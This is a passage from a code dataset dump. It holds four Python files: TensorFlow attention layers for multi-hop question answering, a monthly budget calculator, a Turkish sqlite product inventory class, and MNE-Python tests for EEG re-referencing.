= tf.shape(in_value_2)[1]\n\n in_value_1 = dropout_layer(in_value_1, dropout_rate, is_training=is_training)\n in_value_2 = dropout_layer(in_value_2, dropout_rate, is_training=is_training)\n with tf.variable_scope(scope_name):\n # if att_type != 'cosine':\n # calculate attention ==> a: [batch_size, len_1, len_2]\n atten_w1 = tf.get_variable(\"atten_w1\", [feature_dim1, att_dim], dtype=tf.float32)\n atten_value_1 = tf.matmul(tf.reshape(in_value_1, [batch_size * len_1, feature_dim1]), atten_w1) # [batch_size*len_1, feature_dim]\n\n if feature_dim1 == feature_dim2: atten_w2 = atten_w1\n else: atten_w2 = tf.get_variable(\"atten_w2\", [feature_dim2, att_dim], dtype=tf.float32)\n # atten_w2 = tf.get_variable(\"atten_w2\", [feature_dim2, att_dim], dtype=tf.float32)\n atten_value_2 = tf.matmul(tf.reshape(in_value_2, [batch_size * len_2, feature_dim2]), atten_w2) # [batch_size*len_2, feature_dim]\n\n if att_type == 'additive':\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n\n atten_b = tf.get_variable(\"atten_b\", [att_dim], dtype=tf.float32)\n atten_v = tf.get_variable(\"atten_v\", [1, att_dim], dtype=tf.float32)\n atten_value_1 = tf.expand_dims(atten_value_1, axis=2, name=\"atten_value_1\") # [batch_size, len_1, 'x', feature_dim]\n atten_value_2 = tf.expand_dims(atten_value_2, axis=1, name=\"atten_value_2\") # [batch_size, 'x', len_2, feature_dim]\n atten_value = atten_value_1 + atten_value_2 # + tf.expand_dims(tf.expand_dims(tf.expand_dims(atten_b, axis=0), axis=0), axis=0)\n atten_value = nn_ops.bias_add(atten_value, atten_b)\n atten_value = tf.tanh(atten_value) # [batch_size, len_1, len_2, feature_dim]\n atten_value = tf.reshape(atten_value, [-1, att_dim]) * atten_v # tf.expand_dims(atten_v, axis=0) # [batch_size*len_1*len_2, feature_dim]\n atten_value = tf.reduce_sum(atten_value, axis=-1)\n atten_value = tf.reshape(atten_value, [batch_size, len_1, len_2])\n elif att_type == 'symmetric':\n atten_value_1 = tf.nn.relu(atten_value_1) # [batch_size*len1, att_dim]\n atten_value_2 = tf.nn.relu(atten_value_2) # [batch_size*len2, att_dim]\n D_in = tf.get_variable(\"diagonal_{}\".format(scope_name), [att_dim], dtype=tf.float32) # att_dim\n D = D_in * tf.diag(tf.ones([att_dim], tf.float32), name='diagonal') # att_dim xatt_dim\n atten_value_1 = tf.matmul(atten_value_1, D) # [batch_size*len1, att_dim]\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n atten_value = tf.matmul(atten_value_1, atten_value_2, transpose_b=True) # [batch_size, len_1, len_2]\n elif att_type == 'cosine':\n atten_value_1 = tf.nn.relu(atten_value_1) # [batch_size*len1, att_dim]\n atten_value_2 = tf.nn.relu(atten_value_2) # [batch_size*len2, att_dim]\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n atten_value = cal_relevancy_matrix(atten_value_2, atten_value_1)\n atten_value = atten_value * cosine_attention_scale\n else:\n atten_value_1 = tf.tanh(atten_value_1)\n # atten_value_1 = tf.nn.relu(atten_value_1)\n atten_value_2 = tf.tanh(atten_value_2)\n # atten_value_2 = tf.nn.relu(atten_value_2)\n diagnoal_params = tf.get_variable(\"diagonal_params\", [att_dim], dtype=tf.float32)\n atten_value_1 = atten_value_1 * tf.expand_dims(diagnoal_params, axis=0)\n atten_value_1 = tf.reshape(atten_value_1, [batch_size, len_1, att_dim])\n atten_value_2 = tf.reshape(atten_value_2, [batch_size, len_2, att_dim])\n atten_value = tf.matmul(atten_value_1, atten_value_2, transpose_b=True) # [batch_size, len_1, len_2]\n\n if remove_diagnoal:\n diagnoal = tf.ones([len_1], tf.float32) # [len1]\n diagnoal = 1.0 - tf.diag(diagnoal) # [len1, len1]\n diagnoal = tf.expand_dims(diagnoal, axis=0) # ['x', len1, len1]\n atten_value = atten_value * diagnoal\n if mask1 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask1, axis=-1))\n if mask2 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask2, axis=1))\n # normalize\n # atten_value = tf.nn.softmax(atten_value, name='atten_value') # [batch_size, len_1, len_2]\n atten_value = softmax_with_mask(atten_value, tf.expand_dims(mask2, axis=1))\n if remove_diagnoal: atten_value = atten_value * diagnoal\n if mask1 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask1, axis=-1))\n if mask2 is not None: atten_value = tf.multiply(atten_value, tf.expand_dims(mask2, axis=1))\n\n return atten_value\n\ndef fusion_attention_amit(in_value_1, in_value_2, feature_dim1, feature_dim2, scope_name='att',\n att_type='symmetric', att_dim=250, remove_diagnoal=False, mask1=None, mask2=None, is_training=False, dropout_rate=0.2):\n# def fusion_attention_amit(scope_name, in_q_rep, in_p_rep, w_dim1, w_dim2,\n# reuse=False, is_training=None, options=None, remove_diagnoal=False):\n input_shape = tf.shape(in_value_2)\n batch_size = input_shape[0]\n question_len = input_shape[1]\n passage_len = tf.shape(in_value_1)[1]\n with tf.variable_scope(scope_name, reuse=False):\n q_rep = dropout_layer(in_value_2, dropout_rate, is_training=is_training)\n p_rep = dropout_layer(in_value_1, dropout_rate, is_training=is_training)\n\n w_wordlevel = tf.get_variable(\"famf_highlevel_{}\".format(scope_name), [feature_dim1, att_dim],\n dtype=tf.float32) # D1 x D2\n q_rep = tf.reshape(q_rep, [-1, feature_dim1], name='BQ_dim1') # [B * Q, D1]\n\n q_rep = tf.matmul(q_rep, w_wordlevel) # [B * Q, D2]\n q_rep = tf.nn.relu(q_rep) # [B * Q, D2]\n\n D_in = tf.get_variable(\"diagonal_{}\".format(scope_name), [att_dim],\n dtype=tf.float32) # D1 x D2\n D = D_in * tf.diag(tf.ones([att_dim], tf.float32), name='diagonal') # D2 x D2\n q_rep = tf.matmul(q_rep, D) # f(Ux) D # [B * Q, D2]\n\n q_rep = tf.reshape(q_rep, [batch_size, question_len, att_dim],name='B_Q_dim2') # [B, Q, D2]\n\n\n p_rep = tf.reshape(p_rep, [-1, feature_dim1],name='BP_dim1') # [B * P, D1]\n p_rep = tf.matmul(p_rep, w_wordlevel) # [B * P, D2]\n p_rep = tf.nn.relu(p_rep) # f(Uy) # [B * P, D2]\n p_rep = tf.reshape(p_rep, [batch_size, passage_len,att_dim],name='B_P_dim2') # [B, P, D2]\n\n # passage: B x P x D2\n # question: B x Q x D2\n shuffled = tf.transpose(q_rep, perm=[0, 2, 1]) # B x D2 x Q\n\n # similarity between passage and query\n S_q_p = tf.matmul(p_rep, shuffled) # B x P x Q\n\n alphas = tf.nn.softmax(S_q_p) # B x P x Q\n return alphas\n\n # expanded_alphas = tf.expand_dims(alphas, axis=-1) # [ B , P , Q , 'x']\n # weighted_query = tf.expand_dims(query_rep, axis=1) # [B, 'x', Q, D1]\n # weighted_query = tf.reduce_sum(tf.multiply(weighted_query, expanded_alphas), axis=2) # [B, P, D1]\n # return weighted_query\n\n\ndef weighted_sum(atten_scores, in_values):\n '''\n\n :param atten_scores: # [batch_size, len1, len2]\n :param in_values: [batch_size, len2, dim]\n :return:\n '''\n return tf.matmul(atten_scores, in_values)\n\ndef cal_relevancy_matrix(in_question_repres, in_passage_repres):\n in_question_repres_tmp = tf.expand_dims(in_question_repres, 1) # [batch_size, 1, question_len, dim]\n in_passage_repres_tmp = tf.expand_dims(in_passage_repres, 2) # [batch_size, passage_len, 1, dim]\n relevancy_matrix = cosine_distance(in_question_repres_tmp,in_passage_repres_tmp) # [batch_size, passage_len, question_len]\n return relevancy_matrix\n\ndef mask_relevancy_matrix(relevancy_matrix, question_mask, passage_mask):\n # relevancy_matrix: [batch_size, passage_len, question_len]\n # question_mask: [batch_size, question_len]\n # passage_mask: [batch_size, passsage_len]\n if question_mask is not None:\n relevancy_matrix = tf.multiply(relevancy_matrix, tf.expand_dims(question_mask, 1))\n relevancy_matrix = tf.multiply(relevancy_matrix, tf.expand_dims(passage_mask, 2))\n return relevancy_matrix\n\ndef compute_gradients(tensor, var_list):\n grads = tf.gradients(tensor, var_list)\n return [grad if grad is not None else tf.zeros_like(var) for var, grad in zip(var_list, grads)]\n","repo_name":"freesunshine0316/MHQA","sub_path":"src/layer_utils.py","file_name":"layer_utils.py","file_ext":"py","file_size_in_byte":21533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"72138007414","text":"from db import BudgetRepo\nimport datetime\nimport calendar\n\nclass Status:\n Create = \"Create Success\"\n Update = \"Update Success\"\n MonthErr = \"Error: Month should be between 1~12\"\n AmountIsNegative = \"Error: Amount should not be negative value\"\n\nclass Budget_Manager:\n\n def __init__(self):\n self.db = BudgetRepo()\n\n\n def Add_budget(self, Date, Amount):\n if int(Date[-2:]) > 12 or int(Date[-2:]) < 1:\n return Status.MonthErr\n if int(Amount) < 0:\n return Status.AmountIsNegative\n\n if self.db.is_budget_exists(Date) is True:\n self.db.replace_budget(Date, Amount)\n return Status.Update\n else:\n self.db.insert_budget(Date, Amount)\n return Status.Create\n\n def totalAmount(self, Start:datetime.datetime , End:datetime.datetime):\n BudgetDict = self.db.Get_All( )\n\n total_amount = 0.00\n\n if not BudgetDict:\n return total_amount\n\n\n\n budget_per_day_dict = {}\n\n for year_month in BudgetDict:\n month_budget = BudgetDict[year_month]\n year_month = str(year_month)\n year = int(year_month[0: 4])\n month = int(year_month[4:])\n days_of_month = calendar.monthrange(year, month)[1]\n\n budget_per_day = month_budget / days_of_month\n budget_per_day_dict[year_month] = budget_per_day\n\n for dt in daterange(Start, End):\n year_month = dt.strftime('%Y%m')\n if year_month not in budget_per_day_dict:\n continue\n total_amount += budget_per_day_dict[year_month]\n\n return total_amount\n\n\ndef daterange(date1, date2):\n for n in range(int ((date2 - date1).days)+1):\n yield date1 + datetime.timedelta(n)","repo_name":"cynthiaszchen/BudgetAdding","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16466351105","text":"import sqlite3\n\nclass Veri_Tabani(): #Veri tabani adi altinda bir class olusturdum.\n def __init__(self):\n\n self.baglanti_olustur() #baglanti_olustur adinda bir method tanimladim.\n\n\n\n def baglanti_olustur(self): #veri tabani ve tablo olusturdum.\n self.baglanti=sqlite3.connect(\"Urun_Bilgileri.db\") #Urun_Bilgileri adi altinda bir veri tabani olusturdum.\n self.cursor=self.baglanti.cursor() #imleci tanimaldim.\n self.cursor.execute(\"CREATE TABLE IF NOT EXISTS Bilgiler( AD TEXT, URETİM TEXT, STT TEXT, GRAMAJ INT)\")#tablo olusturdum\n self.baglanti.commit()#tabloyu veri tabanina bagladim.\n\n def baglanti_kes(self): #Veri tabani ile olan baglantiyi kesmek icin.\n self.baglanti.close()\n\n def urun_gir(self): #Database'e urun eklemek icin olusturdugum fonksiyon.\n self.ad=input(\"Ürün adi giriniz=\")\n self.uretim_tarihi=input(\"Ürünün üretim tarihini giriniz=\")\n self.stt=input(\"Ürünün son tüketim tarihini giriniz=\")\n self.gram=int(input(\"Ürünün gramini giriniz=\"))\n\n self.cursor.execute(\"INSERT INTO Bilgiler VALUES(?,?,?,?)\",(self.ad,self.uretim_tarihi,self.stt,self.gram))\n self.baglanti.commit()#sorgumu db'de calistirdim.\n\n def tum_urunleri_goster(self): #Veri tabanimda hangi urunlerin oldugunu gosteren fonksiyonum.\n self.cursor.execute(\"SELECT * FROM Bilgiler\")\n liste=self.cursor.fetchall()\n print(liste)\n\n def urun_sil(self): #Istenilen urunu komple silmeye yarar. Yani urune dair tum bilgileri silmek icin olusturdugum fonk.\n self.isim=input(\"Database'den silmek istediginiz ürün adini giriniz=\")\n self.cursor.execute(\"DELETE FROM Bilgiler where AD=?\",(self.isim,))#en sona virgül atma sebebimiz demet seklinde tutuldugu icin veri.(?)\n self.baglanti.commit()\n\n\n def urun_guncelle(self):#Urun guncellemek icin olusturdugum fonksiyon.\n self.cursor.execute(\"SELECT * FROM Bilgiler\")\n liste=self.cursor.fetchall()\n for i in liste:\n a=i[0]\n b=i[1]\n c=i[2]#guncellemek istedigim verinin adini aldim.\n d=i[3]\n\n\n print(\"Ürünün neyini guncellemek istiyorsunuz?\")\n print(\"1-Adini=\\n 2-Uretim Tarihini=\\n 3-STT=\\n 4-Urunun Gramini=\")\n islem=input(\"Bir islem seciniz=\")\n if(islem==\"1\"):\n self.a = input(\"Guncellemek istediginiz urun adini giriniz=\")\n self.yeni_ad = input(\"Yeni ürün adini giriniz=\")\n self.cursor.execute(\"UPDATE Bilgiler SET AD=? WHERE AD=?\", (self.yeni_ad, self.a))\n self.baglanti.commit()\n\n\n elif(islem==\"2\"):\n self.b = input(\"Guncellemek istediginiz urun uretim tarihini giriniz=\")\n self.yeni_tarih = input(\"Yeni ürün URETİM TARİHİNİ giriniz=\")\n self.cursor.execute(\"UPDATE Bilgiler SET URETİM=? WHERE URETİM=?\", (self.yeni_tarih, self.b))\n self.baglanti.commit()\n\n elif(islem==\"3\"):\n self.c = input(\"Guncellemek istediginiz urunun STT giriniz=\")\n self.yeni_stt= input(\"Yeni ürün STT giriniz=\")\n self.cursor.execute(\"UPDATE Bilgiler SET STT=? WHERE STT=?\", (self.yeni_stt, self.c))\n self.baglanti.commit()\n\n elif(islem==\"4\"):\n self.d = input(\"Guncellemek istediginiz urun gramajini giriniz=\")\n self.yeni_gram = input(\"Yeni ürün GRAMİNİ giriniz=\")\n self.cursor.execute(\"UPDATE Bilgiler SET GRAMAJ=? WHERE GRAMAJ=?\", (self.yeni_gram, self.d))\n self.baglanti.commit()\n\n\nobje=Veri_Tabani() #Veri_Tabani adli calss'imdan obje adinda bi obje olusutrdum ve bu objemin methodlarini diger yerde kulanabilmke icin.\n\n","repo_name":"tiskayaozgur/Market-Data-Storage","sub_path":"Classlar.py","file_name":"Classlar.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73034924533","text":"# Authors: Marijn van Vliet \n# Alexandre Gramfort \n# Teon Brooks \n#\n# License: BSD (3-clause)\n\nimport warnings\nimport os.path as op\nimport numpy as np\n\nfrom nose.tools import assert_true, assert_equal, assert_raises\nfrom numpy.testing import assert_array_equal, assert_allclose\n\nfrom mne import (pick_channels, pick_types, Epochs, read_events,\n set_eeg_reference, set_bipolar_reference,\n add_reference_channels)\nfrom mne.epochs import BaseEpochs\nfrom mne.io import read_raw_fif\nfrom mne.io.constants import FIFF\nfrom mne.io.proj import _has_eeg_average_ref_proj, Projection\nfrom mne.io.reference import _apply_reference\nfrom mne.datasets import testing\nfrom mne.utils import run_tests_if_main\n\nwarnings.simplefilter('always') # enable b/c these tests throw warnings\n\ndata_dir = op.join(testing.data_path(download=False), 'MEG', 'sample')\nfif_fname = op.join(data_dir, 'sample_audvis_trunc_raw.fif')\neve_fname = op.join(data_dir, 'sample_audvis_trunc_raw-eve.fif')\nave_fname = op.join(data_dir, 'sample_audvis_trunc-ave.fif')\n\n\ndef _test_reference(raw, reref, ref_data, ref_from):\n \"\"\"Test whether a reference has been correctly applied.\"\"\"\n # Separate EEG channels from other channel types\n picks_eeg = pick_types(raw.info, meg=False, eeg=True, exclude='bads')\n picks_other = pick_types(raw.info, meg=True, eeg=False, eog=True,\n stim=True, exclude='bads')\n\n # Calculate indices of reference channesl\n picks_ref = [raw.ch_names.index(ch) for ch in ref_from]\n\n # Get data\n _data = raw._data\n _reref = reref._data\n\n # Check that the ref has been properly computed\n if ref_data is not None:\n assert_array_equal(ref_data, _data[..., picks_ref, :].mean(-2))\n\n # Get the raw EEG data and other channel data\n raw_eeg_data = _data[..., picks_eeg, :]\n raw_other_data = _data[..., picks_other, :]\n\n # Get the rereferenced EEG data\n reref_eeg_data = _reref[..., picks_eeg, :]\n reref_other_data = _reref[..., picks_other, :]\n\n # Check that non-EEG channels are untouched\n assert_allclose(raw_other_data, reref_other_data, 1e-6, atol=1e-15)\n\n # Undo rereferencing of EEG channels if possible\n if ref_data is not None:\n if isinstance(raw, BaseEpochs):\n unref_eeg_data = reref_eeg_data + ref_data[:, np.newaxis, :]\n else:\n unref_eeg_data = reref_eeg_data + ref_data\n assert_allclose(raw_eeg_data, unref_eeg_data, 1e-6, atol=1e-15)\n\n\n@testing.requires_testing_data\ndef test_apply_reference():\n \"\"\"Test base function for rereferencing.\"\"\"\n raw = read_raw_fif(fif_fname, preload=True)\n\n # Rereference raw data by creating a copy of original data\n reref, ref_data = _apply_reference(\n raw.copy(), ref_from=['EEG 001', 'EEG 002'])\n assert_true(reref.info['custom_ref_applied'])\n _test_reference(raw, reref, ref_data, ['EEG 001', 'EEG 002'])\n\n # The CAR reference projection should have been removed by the function\n assert_true(not _has_eeg_average_ref_proj(reref.info['projs']))\n\n # Test that disabling the reference does not break anything\n reref, ref_data = _apply_reference(raw, [])\n assert_array_equal(raw._data, reref._data)\n\n # Test that data is modified in place when copy=False\n reref, ref_data = _apply_reference(raw, ['EEG 001', 'EEG 002'])\n assert_true(raw is reref)\n\n # Test re-referencing Epochs object\n raw = read_raw_fif(fif_fname, preload=False)\n events = read_events(eve_fname)\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n epochs = Epochs(raw, events=events, event_id=1, tmin=-0.2, tmax=0.5,\n picks=picks_eeg, preload=True)\n reref, ref_data = _apply_reference(\n epochs.copy(), ref_from=['EEG 001', 'EEG 002'])\n assert_true(reref.info['custom_ref_applied'])\n _test_reference(epochs, reref, ref_data, ['EEG 001', 'EEG 002'])\n\n # Test re-referencing Evoked object\n evoked = epochs.average()\n reref, ref_data = _apply_reference(\n evoked.copy(), ref_from=['EEG 001', 'EEG 002'])\n assert_true(reref.info['custom_ref_applied'])\n _test_reference(evoked, reref, ref_data, ['EEG 001', 'EEG 002'])\n\n # Referencing needs data to be preloaded\n raw_np = read_raw_fif(fif_fname, preload=False)\n assert_raises(RuntimeError, _apply_reference, raw_np, ['EEG 001'])\n\n # Test having inactive SSP projections that deal with channels involved\n # during re-referencing\n raw = read_raw_fif(fif_fname, preload=True)\n raw.add_proj(\n Projection(\n active=False,\n data=dict(\n col_names=['EEG 001', 'EEG 002'],\n row_names=None,\n data=[[1, 1]],\n ncol=2,\n nrow=1\n ),\n desc='test',\n kind=1,\n )\n )\n # Projection concerns channels mentioned in projector\n assert_raises(RuntimeError, _apply_reference, raw, ['EEG 001'])\n\n # Projection does not concern channels mentioned in projector, no error\n _apply_reference(raw, ['EEG 003'], ['EEG 004'])\n\n\n@testing.requires_testing_data\ndef test_set_eeg_reference():\n \"\"\"Test rereference eeg data.\"\"\"\n raw = read_raw_fif(fif_fname, preload=True)\n raw.info['projs'] = []\n\n # Test setting an average reference\n assert_true(not _has_eeg_average_ref_proj(raw.info['projs']))\n reref, ref_data = set_eeg_reference(raw)\n assert_true(_has_eeg_average_ref_proj(reref.info['projs']))\n assert_true(not reref.info['projs'][0]['active'])\n assert_true(ref_data is None)\n reref.apply_proj()\n eeg_chans = [raw.ch_names[ch]\n for ch in pick_types(raw.info, meg=False, eeg=True)]\n _test_reference(raw, reref, ref_data,\n [ch for ch in eeg_chans if ch not in raw.info['bads']])\n\n # Test setting an average reference when one was already present\n with warnings.catch_warnings(record=True):\n reref, ref_data = set_eeg_reference(raw, copy=False)\n assert_true(ref_data is None)\n\n # Test setting an average reference on non-preloaded data\n raw_nopreload = read_raw_fif(fif_fname, preload=False)\n raw_nopreload.info['projs'] = []\n reref, ref_data = set_eeg_reference(raw_nopreload)\n assert_true(_has_eeg_average_ref_proj(reref.info['projs']))\n assert_true(not reref.info['projs'][0]['active'])\n\n # Rereference raw data by creating a copy of original data\n reref, ref_data = set_eeg_reference(raw, ['EEG 001', 'EEG 002'], copy=True)\n assert_true(reref.info['custom_ref_applied'])\n _test_reference(raw, reref, ref_data, ['EEG 001', 'EEG 002'])\n\n # Test that data is modified in place when copy=False\n reref, ref_data = set_eeg_reference(raw, ['EEG 001', 'EEG 002'],\n copy=False)\n assert_true(raw is reref)\n\n # Test moving from custom to average reference\n reref, ref_data = set_eeg_reference(raw, ['EEG 001', 'EEG 002'])\n reref, _ = set_eeg_reference(reref)\n assert_true(_has_eeg_average_ref_proj(reref.info['projs']))\n assert_equal(reref.info['custom_ref_applied'], False)\n\n # When creating an average reference fails, make sure the\n # custom_ref_applied flag remains untouched.\n reref = raw.copy()\n reref.info['custom_ref_applied'] = True\n reref.pick_types(eeg=False) # Cause making average ref fail\n assert_raises(ValueError, set_eeg_reference, reref)\n assert_true(reref.info['custom_ref_applied'])\n\n # Test moving from average to custom reference\n reref, ref_data = set_eeg_reference(raw)\n reref, _ = set_eeg_reference(reref, ['EEG 001', 'EEG 002'])\n assert_true(not _has_eeg_average_ref_proj(reref.info['projs']))\n assert_equal(reref.info['custom_ref_applied'], True)\n\n\n@testing.requires_testing_data\ndef test_set_bipolar_reference():\n \"\"\"Test bipolar referencing.\"\"\"\n raw = read_raw_fif(fif_fname, preload=True)\n raw.apply_proj()\n\n reref = set_bipolar_reference(raw, 'EEG 001', 'EEG 002', 'bipolar',\n {'kind': FIFF.FIFFV_EOG_CH,\n 'extra': 'some extra value'})\n assert_true(reref.info['custom_ref_applied'])\n\n # Compare result to a manual calculation\n a = raw.copy().pick_channels(['EEG 001', 'EEG 002'])\n a = a._data[0, :] - a._data[1, :]\n b = reref.copy().pick_channels(['bipolar'])._data[0, :]\n assert_allclose(a, b)\n\n # Original channels should be replaced by a virtual one\n assert_true('EEG 001' not in reref.ch_names)\n assert_true('EEG 002' not in reref.ch_names)\n assert_true('bipolar' in reref.ch_names)\n\n # Check channel information\n bp_info = reref.info['chs'][reref.ch_names.index('bipolar')]\n an_info = reref.info['chs'][raw.ch_names.index('EEG 001')]\n for key in bp_info:\n if key == 'loc':\n assert_array_equal(bp_info[key], 0)\n elif key == 'coil_type':\n assert_equal(bp_info[key], FIFF.FIFFV_COIL_EEG_BIPOLAR)\n elif key == 'kind':\n assert_equal(bp_info[key], FIFF.FIFFV_EOG_CH)\n else:\n assert_equal(bp_info[key], an_info[key])\n assert_equal(bp_info['extra'], 'some extra value')\n\n # Minimalist call\n reref = set_bipolar_reference(raw, 'EEG 001', 'EEG 002')\n assert_true('EEG 001-EEG 002' in reref.ch_names)\n\n # Set multiple references at once\n reref = set_bipolar_reference(\n raw,\n ['EEG 001', 'EEG 003'],\n ['EEG 002', 'EEG 004'],\n ['bipolar1', 'bipolar2'],\n [{'kind': FIFF.FIFFV_EOG_CH, 'extra': 'some extra value'},\n {'kind': FIFF.FIFFV_EOG_CH, 'extra': 'some extra value'}],\n )\n a = raw.copy().pick_channels(['EEG 001', 'EEG 002', 'EEG 003', 'EEG 004'])\n a = np.array([a._data[0, :] - a._data[1, :],\n a._data[2, :] - a._data[3, :]])\n b = reref.copy().pick_channels(['bipolar1', 'bipolar2'])._data\n assert_allclose(a, b)\n\n # Test creating a bipolar reference that doesn't involve EEG channels:\n # it should not set the custom_ref_applied flag\n reref = set_bipolar_reference(raw, 'MEG 0111', 'MEG 0112',\n ch_info={'kind': FIFF.FIFFV_MEG_CH})\n assert_true(not reref.info['custom_ref_applied'])\n assert_true('MEG 0111-MEG 0112' in reref.ch_names)\n\n # Test a battery of invalid inputs\n assert_raises(ValueError, set_bipolar_reference, raw,\n 'EEG 001', ['EEG 002', 'EEG 003'], 'bipolar')\n assert_raises(ValueError, set_bipolar_reference, raw,\n ['EEG 001', 'EEG 002'], 'EEG 003', 'bipolar')\n assert_raises(ValueError, set_bipolar_reference, raw,\n 'EEG 001', 'EEG 002', ['bipolar1', 'bipolar2'])\n assert_raises(ValueError, set_bipolar_reference, raw,\n 'EEG 001', 'EEG 002', 'bipolar',\n ch_info=[{'foo': 'bar'}, {'foo': 'bar'}])\n assert_raises(ValueError, set_bipolar_reference, raw,\n 'EEG 001', 'EEG 002', ch_name='EEG 003')\n\n\ndef _check_channel_names(inst, ref_names):\n \"\"\"Check channel names.\"\"\"\n if isinstance(ref_names, str):\n ref_names = [ref_names]\n\n # Test that the names of the reference channels are present in `ch_names`\n ref_idx = pick_channels(inst.info['ch_names'], ref_names)\n assert_true(len(ref_idx), len(ref_names))\n\n # Test that the names of the reference channels are present in the `chs`\n # list\n inst.info._check_consistency() # Should raise no exceptions\n\n\n@testing.requires_testing_data\ndef test_add_reference():\n \"\"\"Test adding a reference.\"\"\"\n raw = read_raw_fif(fif_fname, preload=True)\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n # check if channel already exists\n assert_raises(ValueError, add_reference_channels,\n raw, raw.info['ch_names'][0])\n # add reference channel to Raw\n raw_ref = add_reference_channels(raw, 'Ref', copy=True)\n assert_equal(raw_ref._data.shape[0], raw._data.shape[0] + 1)\n assert_array_equal(raw._data[picks_eeg, :], raw_ref._data[picks_eeg, :])\n _check_channel_names(raw_ref, 'Ref')\n\n orig_nchan = raw.info['nchan']\n raw = add_reference_channels(raw, 'Ref', copy=False)\n assert_array_equal(raw._data, raw_ref._data)\n assert_equal(raw.info['nchan'], orig_nchan + 1)\n _check_channel_names(raw, 'Ref')\n\n # for Neuromag fif's, the reference electrode location is placed in\n # elements [3:6] of each \"data\" electrode location\n assert_allclose(raw.info['chs'][-1]['loc'][:3],\n raw.info['chs'][picks_eeg[0]]['loc'][3:6], 1e-6)\n\n ref_idx = raw.ch_names.index('Ref')\n ref_data, _ = raw[ref_idx]\n assert_array_equal(ref_data, 0)\n\n # add reference channel to Raw when no digitization points exist\n raw = read_raw_fif(fif_fname).crop(0, 1).load_data()\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n del raw.info['dig']\n\n raw_ref = add_reference_channels(raw, 'Ref', copy=True)\n\n assert_equal(raw_ref._data.shape[0], raw._data.shape[0] + 1)\n assert_array_equal(raw._data[picks_eeg, :], raw_ref._data[picks_eeg, :])\n _check_channel_names(raw_ref, 'Ref')\n\n orig_nchan = raw.info['nchan']\n raw = add_reference_channels(raw, 'Ref', copy=False)\n assert_array_equal(raw._data, raw_ref._data)\n assert_equal(raw.info['nchan'], orig_nchan + 1)\n _check_channel_names(raw, 'Ref')\n\n # Test adding an existing channel as reference channel\n assert_raises(ValueError, add_reference_channels, raw,\n raw.info['ch_names'][0])\n\n # add two reference channels to Raw\n raw_ref = add_reference_channels(raw, ['M1', 'M2'], copy=True)\n _check_channel_names(raw_ref, ['M1', 'M2'])\n assert_equal(raw_ref._data.shape[0], raw._data.shape[0] + 2)\n assert_array_equal(raw._data[picks_eeg, :], raw_ref._data[picks_eeg, :])\n assert_array_equal(raw_ref._data[-2:, :], 0)\n\n raw = add_reference_channels(raw, ['M1', 'M2'], copy=False)\n _check_channel_names(raw, ['M1', 'M2'])\n ref_idx = raw.ch_names.index('M1')\n ref_idy = raw.ch_names.index('M2')\n ref_data, _ = raw[[ref_idx, ref_idy]]\n assert_array_equal(ref_data, 0)\n\n # add reference channel to epochs\n raw = read_raw_fif(fif_fname, preload=True)\n events = read_events(eve_fname)\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n epochs = Epochs(raw, events=events, event_id=1, tmin=-0.2, tmax=0.5,\n picks=picks_eeg, preload=True)\n # default: proj=True, after which adding a Ref channel is prohibited\n assert_raises(RuntimeError, add_reference_channels, epochs, 'Ref')\n\n # create epochs in delayed mode, allowing removal of CAR when re-reffing\n epochs = Epochs(raw, events=events, event_id=1, tmin=-0.2, tmax=0.5,\n picks=picks_eeg, preload=True, proj='delayed')\n epochs_ref = add_reference_channels(epochs, 'Ref', copy=True)\n\n assert_equal(epochs_ref._data.shape[1], epochs._data.shape[1] + 1)\n _check_channel_names(epochs_ref, 'Ref')\n ref_idx = epochs_ref.ch_names.index('Ref')\n ref_data = epochs_ref.get_data()[:, ref_idx, :]\n assert_array_equal(ref_data, 0)\n picks_eeg = pick_types(epochs.info, meg=False, eeg=True)\n assert_array_equal(epochs.get_data()[:, picks_eeg, :],\n epochs_ref.get_data()[:, picks_eeg, :])\n\n # add two reference channels to epochs\n raw = read_raw_fif(fif_fname, preload=True)\n events = read_events(eve_fname)\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n # create epochs in delayed mode, allowing removal of CAR when re-reffing\n epochs = Epochs(raw, events=events, event_id=1, tmin=-0.2, tmax=0.5,\n picks=picks_eeg, preload=True, proj='delayed')\n with warnings.catch_warnings(record=True): # multiple set zero\n epochs_ref = add_reference_channels(epochs, ['M1', 'M2'], copy=True)\n assert_equal(epochs_ref._data.shape[1], epochs._data.shape[1] + 2)\n _check_channel_names(epochs_ref, ['M1', 'M2'])\n ref_idx = epochs_ref.ch_names.index('M1')\n ref_idy = epochs_ref.ch_names.index('M2')\n assert_equal(epochs_ref.info['chs'][ref_idx]['ch_name'], 'M1')\n assert_equal(epochs_ref.info['chs'][ref_idy]['ch_name'], 'M2')\n ref_data = epochs_ref.get_data()[:, [ref_idx, ref_idy], :]\n assert_array_equal(ref_data, 0)\n picks_eeg = pick_types(epochs.info, meg=False, eeg=True)\n assert_array_equal(epochs.get_data()[:, picks_eeg, :],\n epochs_ref.get_data()[:, picks_eeg, :])\n\n # add reference channel to evoked\n raw = read_raw_fif(fif_fname, preload=True)\n events = read_events(eve_fname)\n picks_eeg = pick_types(raw.info, meg=False, eeg=True)\n # create epochs in delayed mode, allowing removal of CAR when re-reffing\n epochs = Epochs(raw, events=events, event_id=1, tmin=-0.2, tmax=0.5,\n picks=picks_eeg, preload=True, 